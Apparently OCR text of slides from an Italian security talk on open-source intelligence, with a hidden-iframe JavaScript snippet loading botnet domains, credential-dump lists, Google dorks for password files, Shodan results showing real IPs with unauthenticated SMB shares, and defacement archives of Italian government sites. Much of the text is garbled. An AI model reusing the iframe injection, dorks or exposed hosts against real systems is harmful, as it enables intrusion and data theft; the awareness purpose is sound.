hxxp://vghtwlshzzgsltcp.ru/runforestrun?sid=botnet
hxxp://gytcnulxsxpsgkfn.ru/runforestrun?sid=botnet
hxxp://iekiyvsbtyozmmwy.ru/runforestrun?sid=botnet
hxxp://dernflilrdxmfnye.ru/runforestrun?sid=botnet
hxxp://figtmicxtixynlpf.ru/runforestrun?sid=botnet

("src", "http://" + domainName + "/runforestrun?sid=botnet");

ifrm.style.width = "0px";
ifrm.style.height = "Opx";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}

}, 500);
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Information Gathering

Open Source Intelligence
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Dump Pubblici

File Modifica Visualizza Terminale Schq

Email ﬁ Contatti

000webhost 7k7k_com_2000-1 adobe adultfriendfinder androidforum
apple ashleymadison badoo code.developers.m Dailymotion_2016_b
ega.co.nz crypt
dropbox edmodo Exploit.in ipmart_forum lastfm
LEAK_EMAIL libero liberoquotidiano linkedin myspace
NaughtyAmerica poinx snapchat tumblr twitter

IP Address g Password
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Google Dork

Google Hacking Database (GHDB)

Any Category ¥ Search

Date Title Category
2017-10-31  Inurl:phpmyadmin/themes intext:"pmahomme" Web Server Detection
2017-10-31  inurk:readme.md intext:"Laravel" Web Server Detection
2017-10-30 intitle:"Django site admin" Inurl:admin -site:stackoverflow.com -site:github.com Pages Containing Login Portals
2017-10-30 inurl:"gradle.properties" intext:"proxyPassword" Files Containing Passwords
2017-10-30 Intext:"Index of /database” Sensitive Directories
2017-10-30 site:trello.com password Files Containing Passwords
2017-10-25 Intext:"Index of /.git" Sensitive Directories
2017-10-23  inurk:guestimage.html Various Online Devices
2017-10-23  Inurk"set_config_networkiPv6.html" Various Online Devices
2017-10-23  inurk"wp-security-audit-log" ext:log Files Containing Juicy Info
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Google Dork

mo @_N intext:"You have an error in your SQL syntax” site..it ,@ Q

Tutti Video Immagini Notizie Maps Altro Impostazioni Strumenti

Circa 105.000 risultati (0,56 secondi)

In: >

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'AND
menu_sottoliv_c.VISIBILE IS TRUE GROUP BY menu_sottoliv_c.CODICE ' at line
37

Query failed (uid=152)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near " at line 4

Ultimo aggiornamento: 12/01/2012
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Shodan «Hacked by, IT»

.... SHODAN itle:"hacked by" country Q Explore orts Enterpri

%% Exploits W Share Search |l Create Report

RESULTS Hacked By: ~Abo Al-EoS
HTTP/1.1 200 OK
11 eur Tel - Societa’ A Responsabilita’ Limitata Date: Thu. 02 Nov 2017 00:00:51 GMT
) 11 itay Server: Apache

Details Vary: Accept-Encoding
Content-Length: 881
Content-Type: text/html; charset=utf-8

Home - Hacked by Alarg53

1 HTTP/1.1 2@@ OK

Italy
SEEWEB s.r.l. Date: Wed, @1 Nov 2017 ©0:09:21 GMT
ES Server: Apache
11 itay Expires: Thu, 19 Nov 1981 8:52:00 GMT
S 1 fm m . ,A.( E Y Cache-Control: no-store, no-cache, must-revalidate, post-check=@, pre-check=0
Milan 1 Details

Pragma: no-cache

Imola - Link: <http://impladentitalia.it/wp-json/>; rel="https://api.w.org/”, <http://impladentita.

HTTP 7 HacKeD By ./Alarg53
HTTPS 2 HTTP/1.1 200 OK
HTTP (8080) 1 OvVH SN Date: Mon, 3@ Oct 2017 16:54:15 GMT
HTTP (81) 1 Server: Apache
B0 itay X-Powered-By: PHP/5.3.3
. Connection: close
o Details Transfer-Enceding: chunked
SEEWEB s.r.l. 5 Content-Type: text/html; charset=UTF-8
eur Tel - Societa’' A Responsabilita’ Li... 2
Telecom ltalia Business 1
OVH Srl 1
Clouditalia Tel icazioni S.p.A. 1 |Hacked by Ali Afee
& SSL Certificate HTTP/1.1 280 OK
SEEWEB s.rl Issued By: Date: Mon, 3@ Oct 2017 ©2:30:25 GMT
10 |- Common Name: RapidSSL CA Server: Apache
10 italy | Nemonien Sinn: LooT¥eics too X-Powered-Bv- Plesklin
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SHODAN

Exploits

Rome
Turin
Milan
Marino
Taranto

TOP ORG

Vodafone Italia DSL
Tiscali SpA

Telecom ltalia

Fastweb

Telecom ltalia Business

Shodan «Samba, IT»

product:"samba" country

W Share Search

27,676

3,442
1,158
948
774
559

18,237
2,595
2,203
1,765

685

24,502
2,019
1,155

& Download Results

(o} Explore
Ll Create Report
62.11.129.213
Unix
Tiscali SpA
Il itay
Details
SMB Status

Authentication: disabled
SMB Version: 1
Capabilities: raw-mede,unicode,large-files,nt-smb,rpc-remote-api,nt-status,leve

Shares

Name Type Comments

storage Disk All Storage devices

public Disk shared folders on each volume

IPCS IPC IPC Service (DSL Gateway)
93.150.176.153

Unix
Vodafone Italia DSL

B italy, Rome

Details

SMB Status

Authentication: disabled

SMB Version: 1

Capabilities: raw-mode,unicode,large-files,nt-smb,rpc-remote-api,nt-status,leve

Shares
Name Type Comments
IPCS IPC IPC Service (Samba 3.9.24)
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Shodan «Samba, IT, Org»

‘. SHODAN product:"samba" country:"it" org:"telecom” Q Explore

*% Maps W Share Search & Download Results | Create Report

79.21.229.233
3,065 Unix

Telecom ltalia

BN itay, SanRemo
Details

SMB Status

Authentication: disabled

SMB Version: 1

Capabilities: raw-mode,unicode,large-files nt-smb,rpc-remote-api,nt-status,le

Haly 3,065 Shares
Name Type Comments
TOPCMES = gsesegsgsene e na s cp s s o e s e v o
Rome 165 Home Disk Home directory
Milan 74 Public Disk System default share
Naples 28 Web Disk Web default shared folder
Turin 22 Foto Disk
IPC IPC P i
Florence 21 IPCs C IPC Service ()

S 79.23.75.251
Telecom ltalia 2,203
Telecom ltalia Business 837 Unix )
Telecom ltalia

Telecom ltalia Mobile 15
Telecom Italia San Marino S.p.A 6 I} italy, Castegnato
Telecom Italia San Marino S.p.A. is the... 1 Details
— SMB Status
o Authentication: disabled
Unix 1,861 SMB Version: 1
Windows 6.1 832 Capabilities: raw-mode,unicode,large-files,nt-smb,rpc-remote-api,nt-status,le
QTS 372

Shares

Name Type Comments
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bamd@tter.com

LS Y

\ itter.com g 3
pig.twi gelels ; X er.com cs1-lb-eu. 8 cdns.net
IAPTEHRS 199} 168
b ; < wwwZ t@iter.com
art. b 2 itképCom .._oo.am. er.com cs472.wac.; astcdn.net
LSS Res X! \%ﬂ itter o:,.uo<n . wac.apr-83 ecastdns.net
[2. g < et EuEeer. 192. 33.25
SR EINE AR er.cofn P < cs1-apr-8315.w¥Epdgecastcdn.net
legal pliPe@ERE . \Vu “fy.tw r.com cs491.wac. astcdn.net
4 / odiaH o
nm«_mmﬂ : T \ \.cﬁ! er.com platfor tter.com
therall RS p 3 \ : g 2 ive pr.com
interactiv € B =" - :
Jnng : — > erdd r.com
engingi Srtie
i electio tter.com HETEE
transpare 5 om
m:o.nc_., elections{@@itter.com 42.70
policy. e ker.com -Zom
S4eh apple’ er.com .twitter.com
Caiend tter.com
search.t reverb.tfidterXdite. t apstatefiitter.com
help. 7 : aéergde ak.twittefcom
e3.tw 85 > develope@@itter.com
o er.co fox.t r.COl
dev.twiger.co stoples. i@tayes@itter.com
safety.t@keanag r.com
publish.] er.com

104.22852.195
104.449.42.3
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Knockpy Resources

Knockpy is a python tool designed to enumerate subdomains on a target domain
through a wordlist. It is designed to scan for DNS zone transfer and to try to
bypass the wildcard DNS record automatically if it is enabled. Now knockpy
supports queries to VirusTotal subdomains, you can setting the API_KEY

within the config.json file.

e Project: https://github.com/guelfoweb/knock

e Parser: https://gist.github.com/guelfoweb/5f27210130da5d70066a7ed31696be98
e Main: https://gist.github.com/guelfoweb/7881c0fd677cb6bec03e607¢c2303d111

www.cert-pa.i
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Il dominio italiano

Total Results : 873 E E E
Attacker Country Web URL IP's Date Preview
/M4RY_PR0OS4 |} ) http://www.bsngics sy wngs 81 sap7q=node/100 (FRLERCRERT 31/10/2017 Q
RayOcta303 1hm http://b2b. rescinsyeg B ERS il ] e 30/10/2017 Q
KingSkrupellos |} ) http://www.il it L Tisd b sjiisupellos.txt B bt ek 27/10/2017 [}
KingSkrupellos 10 http://www. gpessnndina oo rages kownloads/screenshots/cyberizm.html j BT 25/10/2017 Q
KingSkrupellos | § L) http://www.s s i specks cows Hegrskrupellos.txt A5 T8 23/10/2017 Q
KingSkrupellos 1M http://www.is ' dieis el fios I et da Wiages/koenigskrupellos.txt s 2 10 23/10/2017 Q
KingSkrupellos T ) hittp://www i eirmsgs s frusges % mgskrupellos.txt AR EF K Fr 22/10/2017 Q
00s 1hm http://www, s iapsstiarss Bl birsl! 151115158 21/10/2017 Q
Cyberizm.Org 10m http://www. sl il sl MG Tl Salex-2.html [ J= & <15 21/10/2017 Q
Cyberizm.Org 1m http:/lesversmss mraicd i ISl iIndex.html BLEE S5 5T 21/10/2017 Q
KingSkrupellos | § {LLp) http:/www lcardipbogh s B4 narddey S dingskrupellos.txt (ENCLRCENL 21/10/2017 Q
KingSkrupellos |1 [ http://WwWwk S e e s Ll e rizm. txt AMITT A4 21/10/2017 Q
KingSkrupellos |} [} http://www. st ratara. Luser s S sgskrupellos.txt o A SR ] 21/10/2017 Q
KingSkrupellos 1 http://www ekl ssgrrdaryd i wsprBles/kingskrupellos.txt JIT I . 21/10/2017 Q
KingSkrupellos |} ) http:/www Sl oo i g g skrupellos.txt LT LR 18/10/2017 Q
KingSkrupellos 1R0T) http://www. ks parsperns L Wogikrupellos.png [ FRELRESRES 18/10/2017 Q
KingSkrupellos | § U] http://www sgalwrerysgre comyirgndi=ipellos.png (RSN ] 18/10/2017 Q
KingSkrupellos | § {Lip) http:/www. L il i iy il Sang [HRET R Eas] 18/10/2017 Q
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Il dominio italiano

Date Notifier HMR L 7 Domain 0s View

2017/10/19 Typical Idiot Security M [ < Tperrini. gov.it/pwn.htm Linux mirror
2017/10/18 Penggunal.ayanan R ED& WWW S —em—tiia . . .. Linux mirror
2017/10/17 N45HT R [ B % www.isis=ssms. gov.it/web/im... Linux mirror
2017/10/12 rOOtkit R [ ] % wwwisssssm=—emuo. gov.it/ro... Linux mirror
2017/10/03 KingSkrupellos R 0B % www éss=—sssmino. gov.it/pub... Win 2012 mirror
2017/09/29 N45HT R [ B % wewssisine. gov.it/images/jdown... Linux mirror
2017/09/26 Panataran M N B TR . gov.it/w. php Linux mirror
2017/09/25 Panataran R - - * TR GO V. it/. .. Linux mirror
2017/09/23 HighTech R [ B % worsssmmmisn. gov.it/xk.txt Linux mirror
2017/09/20 chinafans == W v e ———r 0, Linux mirror
2017/09/20 J51IN1CH1 M 0§ commmtss= gov.it/list.htm Linux mirror
2017/09/20 JSINICHI1 - - * s —— OV it... Linux mirror
2017/09/19 Best Cracker HM BN W JOV.it FreeBSD mirror
2017/09/19 Best Cracker HM [ %& wwwismmsigov.it FreeBSD mirror
2017/09/14 AnonymousFox HM B0 iommsen.gov.it Linux mirror
2017/09/14 AnonymousFox HM BN rmsmtiila . gov.it Linux mirror
2017/09/14 AnonymousFox HM [ % bt gov.it Linux mirror
2017/09/14 AnonymousFox HM - - * CcosTEETm—e . gov.it Linux mirror
2017/09/14 BALA SNIPER HM [ ¥ i gov.it Linux mirror
2017/09/11 LUN4TICO R I s gov.it/bOx. txt Linux mirror
2017/09/08 LUNA4TICO REBK v ==————m gov.it/one... Linux mirror
2017/09/08 Nofawkx Al H R OB e e goV.it Linux mirror
2017/09/07 LUN4T1CO i ] % wes————————gov.it/b0... Linux mirror
2017/09/06 shadow00715 HM aa % = .gov.it Linux mirror
2017/09/06 zakiloup M ZE ey JOV. it/ps... Linux mirror

123456789101112131415161718192021222324252627282930
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Lotta allo Stato Islami
Notifier HMR L 7 Domain Telegram -
..‘......A < 11 s e < i '4

Cyber Islamic Stats H E¥B ¥ basis.gov.bb ISIS Watch

Cyber Islamic State HM = nedicinskainformatika.ict.edu.rs

Cyber Islamic State H = pbt.ict.edu.rs e

Cyber Islamic State H E www.voced.edu.au

Cyber Islamic State M BE* www.ceme.cnr.it/testscript.php ¢ ISIS Watch

2 |
Cyber Islamic State H M m - ”w www.energia.cnr.it 263 ISIS bots and channels banned on November, 2.
: . X : ; Total this month: 528

Cyber Islamic State H M m - ¥ airo2015.istc.cnr.it

Cyber Islamic State H ' | www.biottasa.it Report ISIS content using the in-app 'Report' button or to

Cyber Islamic State H . o equilibri.cat J dtelegram.org

Cyber Islamic State H 5 ol o www.eu-nato.gov.ge
ISIS Watch
267 ISIS bots and channels banned on November, 3.
Total this month: 795
Report ISIS content using the in-app 'Report’ button or to
abuse@telegram.org. @
ISIS Watch
282 ISIS bots and channels banned on November, 4.
Total this month: 1077
Report ISIS content using the in-app 'Report’ button or to
abuse@telegram.org
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Grazie per I'attenzione
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